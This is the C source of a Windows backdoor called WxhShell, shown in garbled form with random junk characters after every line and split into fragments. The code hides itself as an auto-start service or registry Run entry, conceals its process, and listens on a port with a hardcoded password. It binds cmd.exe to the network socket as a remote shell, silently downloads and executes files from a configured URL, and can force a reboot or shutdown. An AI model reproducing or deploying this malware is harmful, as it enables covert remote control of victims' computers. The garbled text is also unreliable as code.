    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 49eD1h3'X[  
    if(Boot(SHUTDOWN)) |44Ploz2b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M$ wC=b  
    else { R7%#U`Q^A  
    closesocket(wsh); ~$c\JKH-  
    ExitThread(0); 1v y*{D  
    } ."g`3tVK  
    break; &w\{TZ{  
    } ::`HQ@^  
  // 获取shell Fw_#N6Q  
  case 's': { HVRZ[Y<^  
    CmdShell(wsh); 6W/`07 '  
    closesocket(wsh); %O;:af"Ja8  
    ExitThread(0); BT !^~S%w  
    break; TP*hd  
  } vz&|J   
  // 退出 7P } W *  
  case 'x': { 9i:L&dN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H8=N@l  
    CloseIt(wsh); _O?`@g?i  
    break; e1yt9@k,  
    } `>o{P/HN  
  // 离开 ,KH#NY]  
  case 'q': { *;W+>W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I{|O "8  
    closesocket(wsh); U4'#T%*  
    WSACleanup(); 6bg ;q(*7  
    exit(1); {qk1_yP  
    break; sJKI!   
        } =nHUs1rKn  
  } Lj({[H7D!  
  } PI {bmZ  
RU|Q ]Ymx  
  // 提示信息 H_7/%noS5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $ Gf(38[w  
} 1C+13LE$U  
  } "Bkfoi  
%UrueMEO  
  return; g _9C*  
} v&\Q8!r_  
w7L{_aom  
// shell模块句柄 \  #F  
int CmdShell(SOCKET sock) kdiM5l70  
{ f_OQ./`  
STARTUPINFO si; \doUTr R  
ZeroMemory(&si,sizeof(si)); G[PtkPSJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #\{l"-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 38B2|x  
PROCESS_INFORMATION ProcessInfo; 4> K42m  
char cmdline[]="cmd"; =jN.1}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b=C*W,Q_#  
  return 0; zpn9,,~u  
} 9c bd~mM{  
h,:m~0gmj  
// 自身启动模式 ]h`&&Bqt  
int StartFromService(void) P\tB~SZ*  
{ >58YjLXb  
typedef struct [>I<#_^~  
{ l:~/<`o  
  DWORD ExitStatus; J3V= 46Yc  
  DWORD PebBaseAddress; uo9B9"&  
  DWORD AffinityMask; ELoDd&d8  
  DWORD BasePriority; LVM%"sd?  
  ULONG UniqueProcessId; n` _{9R  
  ULONG InheritedFromUniqueProcessId; ,&A7iO  
}   PROCESS_BASIC_INFORMATION; dl)Y'DI  
[\e eDa  
PROCNTQSIP NtQueryInformationProcess; n&4N[Qlv,  
C}j"Qi`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N{!i=A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K!%+0)A  
#lo6c;*m5  
  HANDLE             hProcess; KfEx"94  
  PROCESS_BASIC_INFORMATION pbi; Y1\}5k{>  
NG=-NxEcN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :`#d:.@]o@  
  if(NULL == hInst ) return 0; QO:!p5^:  
/{J4:N'B>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rBzuKQK}J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rgQOj^xKv^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,2oWWsC7  
C3f' {}  
  if (!NtQueryInformationProcess) return 0; ! I:%0D  
df+l%9@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )r?}P1J7  
  if(!hProcess) return 0; KZY}%il!`  
_yx>TE2e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VT)oLj/A  
\.{$11P#  
  CloseHandle(hProcess); _ A y9p[l  
|3b^~?S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r|8d 4  
if(hProcess==NULL) return 0; cl3K<'D  
a5^] 20Fa  
HMODULE hMod; < NY^M!  
char procName[255]; $rBq"u=,0+  
unsigned long cbNeeded; Pj^{|U21  
05#1w#i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y]_ruDIW  
1-uxC^u?|#  
  CloseHandle(hProcess); 76Cl\rV  
:S83vE81WK  
if(strstr(procName,"services")) return 1; // 以服务启动 eKgBy8tNS0  
p4rL}Jm&  
  return 0; // 注册表启动 ;`4&Rm9n?  
} >2)OiQ`zg  
 DPxM'7  
// 主模块 B]wk+8SMY.  
int StartWxhshell(LPSTR lpCmdLine) H2\;%K 2  
{ .VJMz4$]O  
  SOCKET wsl; CsR$c,8X.  
BOOL val=TRUE; -Cpl?Io`r5  
  int port=0; eK=xrk  
  struct sockaddr_in door; YlQ=5u^+  
d"mkL-  
  if(wscfg.ws_autoins) Install(); =o(5_S.u;  
SM#]H-3  
port=atoi(lpCmdLine); i>A s;*  
I*{ nP)^9  
if(port<=0) port=wscfg.ws_port; g)[V(yWu  
*%NT~C q  
  WSADATA data; /t57!&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~H_/zK6e  
/SR*W5#s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _Ey9G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VA>35w  
  door.sin_family = AF_INET; %N6A+5H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~ 'cmSiz-  
  door.sin_port = htons(port); ~$cV: O7  
Lx1FpHo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { , kGc]{'W  
closesocket(wsl); `2WFk8) F  
return 1; )[6U^j4  
} ZY={8T@  
qJs<#MQ2  
  if(listen(wsl,2) == INVALID_SOCKET) { #U4F0BdA  
closesocket(wsl); Gr'  CtO  
return 1; L#?Ek-  
} h8S.x)  
  Wxhshell(wsl); F#Ryu~,"  
  WSACleanup(); dr}`H,X"3  
6r0krbN  
return 0; %D34/=(X  
{SPq$B_VR  
} WRbj01v  
HYZ5EV  
// 以NT服务方式启动 ItVWO:x&v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %6,SKg p  
{ &X ):4  
DWORD   status = 0; -H@:*  
  DWORD   specificError = 0xfffffff; B\=8_z  
P>C~ i:4n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z"L/G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qp }Cqi  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O2E/jj  
  serviceStatus.dwWin32ExitCode     = 0; Tya1/w4  
  serviceStatus.dwServiceSpecificExitCode = 0; w~A{(- dx  
  serviceStatus.dwCheckPoint       = 0; hGe/ ;@%  
  serviceStatus.dwWaitHint       = 0; dJoaCf`w  
~s*)f.l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `Bp.RXsd*  
  if (hServiceStatusHandle==0) return; )gIKH{JYL  
^WgX Qtn  
status = GetLastError(); +b<FO+E_  
  if (status!=NO_ERROR) $E~`\o%Ev  
{ _\G"9,)u '  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L|:`^M+^w  
    serviceStatus.dwCheckPoint       = 0; nZyX|SPk  
    serviceStatus.dwWaitHint       = 0; HY*Kb+[  
    serviceStatus.dwWin32ExitCode     = status; Y@vTaE^w3  
    serviceStatus.dwServiceSpecificExitCode = specificError; Nq[uoaT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  a=9:[  
    return; W?R6ZAn  
  } 4<Utmr  
w^|*m/h|@u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !4RWYMV "  
  serviceStatus.dwCheckPoint       = 0; Gbr=+AT  
  serviceStatus.dwWaitHint       = 0; GL#up  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8@Q$'TT6}  
} mbxZL<ua  
h$>-.-  
// 处理NT服务事件,比如:启动、停止 [)M%cyQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +H-6eP  
{ ;kQhx6Z  
switch(fdwControl) 3>AMII  
{ /{aj}M0kN  
case SERVICE_CONTROL_STOP: `l ^9/_g'6  
  serviceStatus.dwWin32ExitCode = 0; L-WT]&n_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )._;~z!  
  serviceStatus.dwCheckPoint   = 0; Fn;SF4KOm  
  serviceStatus.dwWaitHint     = 0; q4:o#K#  
  { ,+DG2u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8,4"uuI  
  } { ]{/t-=  
  return; /<=u\e'rE  
case SERVICE_CONTROL_PAUSE: QL&ZjSN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]Ji.Zk  
  break; v5#j Z$<F  
case SERVICE_CONTROL_CONTINUE: uM IIYS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ThajHK|U  
  break; dO<ERY  
case SERVICE_CONTROL_INTERROGATE: q460iL7yF}  
  break; EzM ?Nft  
}; N=5a54!/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QvlObEhcS  
} Z, Yb&b  
l'-Bu(  
// 标准应用程序主函数 qFCOUl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %9F([K  
{ vjGo;+K  
?}tFN_X"  
// 获取操作系统版本 *=/ { HvJ  
OsIsNt=GetOsVer(); +US!YU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |&+ o^  
+NZ_D#u  
  // 从命令行安装 x;P_1J%Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); .\ULbN3Z  
2ozax)GY  
  // 下载执行文件 XFHYQ2ME2  
if(wscfg.ws_downexe) { yiXSYD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S]e|"n~@  
  WinExec(wscfg.ws_filenam,SW_HIDE); _~l5u8{^6  
} WdH$JTk1  
QC OM_$y  
if(!OsIsNt) { {tuYs:  
// 如果时win9x,隐藏进程并且设置为注册表启动 #4Rx]zW^%  
HideProc(); S"bg9o  
StartWxhshell(lpCmdLine); NdA[C|_8}f  
} ~F|+o}a `  
else y1eW pPJa  
  if(StartFromService()) 3</_c1~  
  // 以服务方式启动 [2!w_Iw'  
  StartServiceCtrlDispatcher(DispatchTable); u"cV%(#  
else *eTqVG.  
  // 普通方式启动 X"|['t  
  StartWxhshell(lpCmdLine); '6iEMg&3  
y*jp79G  
return 0; jjB~G^n  
} h,u, ^ r  
O~#!l"0 L+  
`!;_ho  
gZ3u=uME  
=========================================== Xv5wJlc!d  
D[[|")Fn  
r"gJX  
Pe_W;q.  
p?%y82E  
P:K5",)  
" z1 | TC  
v!-/&}W)1  
#include <stdio.h> 1Ti f{i,B  
#include <string.h> +aCv&sg  
#include <windows.h> T\6dm/5  
#include <winsock2.h> 2+ N]PW\V  
#include <winsvc.h> j ?3wvw6T  
#include <urlmon.h> T"}5}6rSG  
X Swl Tg  
#pragma comment (lib, "Ws2_32.lib") ?|\ER#z  
#pragma comment (lib, "urlmon.lib") 7?!d^$B  
ed{ -/l~j  
#define MAX_USER   100 // 最大客户端连接数 (&Kk7<#`  
#define BUF_SOCK   200 // sock buffer .]Y$o^mf  
#define KEY_BUFF   255 // 输入 buffer ;C9_?u~#  
4<w.8rR:A  
#define REBOOT     0   // 重启 JQ_sUYh~3  
#define SHUTDOWN   1   // 关机 +;(c:@>@,  
 twHVv  
#define DEF_PORT   5000 // 监听端口 )5Q~I,dP  
YlJ@XpKM  
#define REG_LEN     16   // 注册表键长度 lV3x*4O=  
#define SVC_LEN     80   // NT服务名长度 e{'BAj  
Fc)@,/R"v  
// 从dll定义API 2G & a{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }^ ~F|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aB2F C$z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g-4M3of  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1Z/(G1  
:(U ,x<>  
// wxhshell配置信息 hE'-is@7  
struct WSCFG { [: n'k  
  int ws_port;         // 监听端口 ) yi E@ X  
  char ws_passstr[REG_LEN]; // 口令 <Uk}o8E  
  int ws_autoins;       // 安装标记, 1=yes 0=no P-9)38`5  
  char ws_regname[REG_LEN]; // 注册表键名 kr^P6}'  
  char ws_svcname[REG_LEN]; // 服务名 q5J5>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Gt8M&S-;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X&.ArXn*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *2>&"B09`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;>U2|>5V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D# 9m\o_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?um;s-x)  
wy<S;   
}; !]A  
0I-9nuw,^;  
// default Wxhshell configuration ^&9zw\x;z  
struct WSCFG wscfg={DEF_PORT, [NjXO`5#]  
    "xuhuanlingzhe", k{R>  
    1, 60^`JVGWH  
    "Wxhshell", p;`>e>$  
    "Wxhshell", {K~'K+TPu  
            "WxhShell Service", nY[WRt w  
    "Wrsky Windows CmdShell Service", !,_u)4  
    "Please Input Your Password: ", hIYNhZv  
  1, y1jCg%'H  
  "http://www.wrsky.com/wxhshell.exe", )W,aN)1)  
  "Wxhshell.exe" 5zK4Fraf  
    }; @(EAq<5{  
1SQ3-WU s  
// 消息定义模块 h6L&\~pf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t4."/ .=+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9R!atPz9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1 fp?  
char *msg_ws_ext="\n\rExit."; VD;01"#'  
char *msg_ws_end="\n\rQuit."; `f,/`''R  
char *msg_ws_boot="\n\rReboot..."; *nT<m\C6  
char *msg_ws_poff="\n\rShutdown..."; Co9^OF-k  
char *msg_ws_down="\n\rSave to "; ;>%r9pz ~  
rK 8lBy:<  
char *msg_ws_err="\n\rErr!"; XW 2b|%T  
char *msg_ws_ok="\n\rOK!"; RN1y^`  
].avItg  
char ExeFile[MAX_PATH]; <)C#_w)-  
int nUser = 0; np|Sy;:  
HANDLE handles[MAX_USER]; @Myo'{3vF  
int OsIsNt; YH}'s>xZz  
nUaJzPl  
SERVICE_STATUS       serviceStatus; '&P%C" 5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y1 w9y  
v4!VrI  
// 函数声明 % "i(K@  
int Install(void); d(ZO6Nr Q  
int Uninstall(void); &N$<e(K  
int DownloadFile(char *sURL, SOCKET wsh); z#9aP&8Q  
int Boot(int flag);  h},IF  
void HideProc(void);  Po+.&7F  
int GetOsVer(void); X;+sUj8  
int Wxhshell(SOCKET wsl); %_H<:uGO%  
void TalkWithClient(void *cs); a K[&V't~  
int CmdShell(SOCKET sock); pHGYQ;:L  
int StartFromService(void); C$=%!wf  
int StartWxhshell(LPSTR lpCmdLine); ~f2z]JLr:  
O0x,lq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mX"oW_EK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4!{KWL`A  
RXMISt3+{y  
// 数据结构和表定义 TIqtF&@o4  
SERVICE_TABLE_ENTRY DispatchTable[] = /$Ir5=B  
{ I.(, hFx;  
{wscfg.ws_svcname, NTServiceMain}, {S]}.7`l9(  
{NULL, NULL} OU\~::  
}; zEX  
1/B>XkCJ  
// 自我安装 /s&9SYF  
int Install(void) tn\yI!a  
{ ZoW?nxY  
  char svExeFile[MAX_PATH]; G`D`Af/B  
  HKEY key; vQG5*pR*w  
  strcpy(svExeFile,ExeFile); |u% )gk  
P-_6wfg,;>  
// 如果是win9x系统,修改注册表设为自启动 Rxt^v+ ,$  
if(!OsIsNt) { [C 7^r3w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e-/&$Qq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZL&qp04}  
  RegCloseKey(key); 4&lv6`G `  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D(op)]8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [T4J{y64Y  
  RegCloseKey(key); T9|m7  
  return 0; FBX'.\@`  
    } ^rR1ZVY  
  } v |,1[i{  
} _#E0g'3  
else { {GT*ZU*  
lWk>z; d  
// 如果是NT以上系统,安装为系统服务 IVnHf_PzF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .bl/*s  
if (schSCManager!=0) %bn jgy  
{ yf.~XUk^  
  SC_HANDLE schService = CreateService  M mj;-u  
  (  #4NaL  
  schSCManager, S"QWB`W2  
  wscfg.ws_svcname, Pl06:g2I  
  wscfg.ws_svcdisp, 5X$jl;6  
  SERVICE_ALL_ACCESS, 1p3z1_wrs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V*;(kEqj  
  SERVICE_AUTO_START, |-67 \p]  
  SERVICE_ERROR_NORMAL, np^N8$i:n  
  svExeFile, dm0R[[7  
  NULL, r EE1sy/#  
  NULL, wo{gG?B  
  NULL, qbN =4  
  NULL, A1$TXr  
  NULL \A#41  
  ); Igt#V;kK"2  
  if (schService!=0) LKB$,pR~1l  
  { c9 eM/*:  
  CloseServiceHandle(schService); Oc0a77@  
  CloseServiceHandle(schSCManager); 9MJG;+B~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2%Ri,4SRb  
  strcat(svExeFile,wscfg.ws_svcname); 3BUSv#w{i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9wUkh}s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <?.&^|kS  
  RegCloseKey(key); rl;~pO5R9  
  return 0; yjX9oxhtL  
    } (_]~wi-,  
  } Hyl%mJ  
  CloseServiceHandle(schSCManager); .p3,O6y2(F  
} '3tCH)s  
} Xza(k  
(*'f+R`$  
return 1; 1<@W6@]  
} *I.f1lz%*  
ORw,)l  
// 自我卸载 S!CC }3zw  
int Uninstall(void) AM\'RHL  
{ cd_yzpL@}J  
  HKEY key; :J@ gmY:C  
+ .[ <%  
if(!OsIsNt) { ,/I.t DH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^A/k)x6  
  RegDeleteValue(key,wscfg.ws_regname); ` p-cSxR_  
  RegCloseKey(key); 3z?> j]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B%b4v  
  RegDeleteValue(key,wscfg.ws_regname); u'DRN,h+  
  RegCloseKey(key); D?_Zl;bQ'^  
  return 0; }@+0/W?\.  
  } YnAm{YyI  
} 5coyr`7mP  
} VA_PvL.9  
else { }!r|1$,kL  
<{cQM$ #  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \'D0'\:vz  
if (schSCManager!=0) !CT5!5T  
{ Qd$nH8EDY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ya"a`ozq  
  if (schService!=0) =s2*H8]  
  { osAd1<EIC  
  if(DeleteService(schService)!=0) { f}f9@>.  
  CloseServiceHandle(schService); >*_$]E  
  CloseServiceHandle(schSCManager); S`0(*A[W*  
  return 0; Jhhb7uU+  
  } 1};Stai'  
  CloseServiceHandle(schService); <0&*9ZeD  
  } xF'EiX~  
  CloseServiceHandle(schSCManager); q dBrQC  
} zKJ#`OhT  
} d#4**BM  
0@iY:aF  
return 1; "(~^w=d:$  
} cf20.F{<  
x*U)Y  
// 从指定url下载文件 />pI8 g<  
int DownloadFile(char *sURL, SOCKET wsh) _op}1   
{ <)c)%'v  
  HRESULT hr; 9IfmW^0  
char seps[]= "/"; ~KX/ Ai  
char *token; q ^N7 I@Y  
char *file; l4YJ c  
char myURL[MAX_PATH]; {@{']Y  
char myFILE[MAX_PATH]; Vaw+.sG`AP  
m nX2a  
strcpy(myURL,sURL); :KP @RZm  
  token=strtok(myURL,seps); giw &&l=_  
  while(token!=NULL) hRCJv#]HC  
  { k(G^z   
    file=token; "_NN3lD)X  
  token=strtok(NULL,seps); R"t,xM  
  } WO>nIo5Y  
D8?Vn"  
GetCurrentDirectory(MAX_PATH,myFILE); s$`0yGmQ  
strcat(myFILE, "\\"); D'PI1 0t  
strcat(myFILE, file); c]o'xd,T8\  
  send(wsh,myFILE,strlen(myFILE),0); {]@= ijjf  
send(wsh,"...",3,0); YZ8>OwQz2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0-Ku7<a  
  if(hr==S_OK) V5>B])yQ  
return 0; )' cMYC  
else yjJ5>cg  
return 1; @:vwb\azVD  
 DA,?}  
} S g![Lsj  
qt"m  
// 系统电源模块 A]oV"`f  
int Boot(int flag) AH7}/Rc  
{ 2-EIE4ds  
  HANDLE hToken; I-(zaqp@  
  TOKEN_PRIVILEGES tkp; bwMm#f  
0=1T.4+=  
  if(OsIsNt) { >SHhAEF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z$. 88 ^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :tg)p+KB  
    tkp.PrivilegeCount = 1; Cnh \%OW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dcN22A3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zHRplm+ i  
if(flag==REBOOT) { >KhOz[Zg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bK&+5t&  
  return 0; HQhM'x  
} 5Yq@;e  
else { VjZ|$k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~=l;=7 T  
  return 0; /7^4O(iG  
} ( ^Nz9{  
  } qu{&xjTH8  
  else { u\;C;I-? '  
if(flag==REBOOT) { .}~_a76  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) je=a/Y=%U{  
  return 0; >_T-u<E  
} c4eBt))}V  
else { .p" xVfi6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tFOhL9T  
  return 0; Txb#C[`  
} ^8N}9a  
} wjB:5~n50k  
.|i.Cq8  
return 1; #?- wm  
} ],Do6 @M-  
P{ lB50  
// win9x进程隐藏模块 sWnLEw  
void HideProc(void) G3Aes TT|  
{ v;D~Pa  
Y O}<Ytx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M&9+6e'-F  
  if ( hKernel != NULL ) 60?%<oJ oH  
  { T!)(Dv8@F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PIS2Ed]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -k"/X8  
    FreeLibrary(hKernel); P8/0H(,  
  } '3^'B0 3  
*_\_'@1|J)  
return; Yufc{M00  
} $suzW;{#  
-;WGS o  
// 获取操作系统版本 B>P{A7Q  
int GetOsVer(void) )R1<N  
{ ^RIl  
  OSVERSIONINFO winfo; U26}gT)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5vnrA'BhBU  
  GetVersionEx(&winfo); ~6LN6}~|.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z1X`o  
  return 1; <*cikXS  
  else &`2)V;t  
  return 0; 8$Y9ORs4  
} A#YrWW  
\ta?b!Y),?  
// 客户端句柄模块 }`m/bgtFX  
int Wxhshell(SOCKET wsl) YNsJZnGr8#  
{ d<P\&!R(  
  SOCKET wsh; _u QOHwn  
  struct sockaddr_in client; <x>M o   
  DWORD myID; 28d'7El$  
j*r{2f4Rt  
  while(nUser<MAX_USER) *VxgARIL  
{ =U?dbSf1*  
  int nSize=sizeof(client); smo~7;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PALc;"]O  
  if(wsh==INVALID_SOCKET) return 1; >}6%#CAf  
St*h>V6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gp.^~p]x  
if(handles[nUser]==0) 1o{Mck  
  closesocket(wsh); VRB;$  
else 9CD_ os\h  
  nUser++; C1 *v,i  
  } w ;^ra<*<+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h2fNuu"  
ePo}y])2  
  return 0; f(MO_Sj]  
} YT(AUS5n  
|Z +=  
// 关闭 socket m!HJj>GEo  
void CloseIt(SOCKET wsh) 8 v%o,"  
{ C1QA)E['V  
closesocket(wsh); z-)O9PV  
nUser--; s!$7(Q86R  
ExitThread(0); 3)ywX&4"L  
} qY!Zt_Be6  
)\$|X}uny&  
// 客户端请求句柄 Ds:'Lb  
void TalkWithClient(void *cs) P/_['7  
{ E r?&Y,o  
II,8O  
  SOCKET wsh=(SOCKET)cs; 3h`f  6  
  char pwd[SVC_LEN]; h@ry y\9  
  char cmd[KEY_BUFF]; 9XB8VKu8  
char chr[1]; {I't]Qj_e  
int i,j; nAdf=D'P  
$f7l34Sf3  
  while (nUser < MAX_USER) { u]UOSfn  
g[4WzDF*  
if(wscfg.ws_passstr) { DSn_0D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kE1TP]|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }k.Z~1y  
  //ZeroMemory(pwd,KEY_BUFF); >fQMXfoY  
      i=0; *\F~[  
  while(i<SVC_LEN) { d%n-[ZL  
X!EP$!  
  // 设置超时 8YSAf+{FtK  
  fd_set FdRead; :^h$AWR^f  
  struct timeval TimeOut; -zfR)(zG  
  FD_ZERO(&FdRead); LZxNAua  
  FD_SET(wsh,&FdRead); 4BpZJ~(p  
  TimeOut.tv_sec=8; "f OV^B  
  TimeOut.tv_usec=0; s!$a \k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KVa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AH~E)S  
R.<g3"Lm>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  rjnrju+  
  pwd=chr[0]; e$Pj.>-<=  
  if(chr[0]==0xd || chr[0]==0xa) { mQ"-,mMI  
  pwd=0; pOoEI+t  
  break; DZtsy!xA  
  } ;Q`lNFa  
  i++; a0H+.W+]  
    } 67FWa   
7WzxA=*#  
  // 如果是非法用户,关闭 socket )zDCu`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); & wDs6xq  
}  o-B$J?  
[j+sC*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >Cq<@$I2EB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mj7#&r,1l  
G$('-3@i`w  
while(1) { PXNuL&   
?(_08O  
  ZeroMemory(cmd,KEY_BUFF); gL/9/b4  
`C'H.g\>2Q  
      // 自动支持客户端 telnet标准   E}Uc7G  
  j=0; *MW\^PR?  
  while(j<KEY_BUFF) { >uEzw4w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IO<6  
  cmd[j]=chr[0]; ="l/klYV  
  if(chr[0]==0xa || chr[0]==0xd) { b^vQpiz  
  cmd[j]=0; ) Hr`M B  
  break; YKK*ER0  
  } &s!@29DXR  
  j++; 2=!RQv~%  
    } Y"$xX8o  
b4Ekqas  
  // 下载文件 6[AL|d DK  
  if(strstr(cmd,"http://")) { KLk~Y0$:v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [AJJSd/:  
  if(DownloadFile(cmd,wsh)) nQ3A~ ()  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :e+jU5;]3  
  else <<O$ G7c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *wjrR1#81x  
  } XW92gI<O  
  else { @BMx!r5kn  
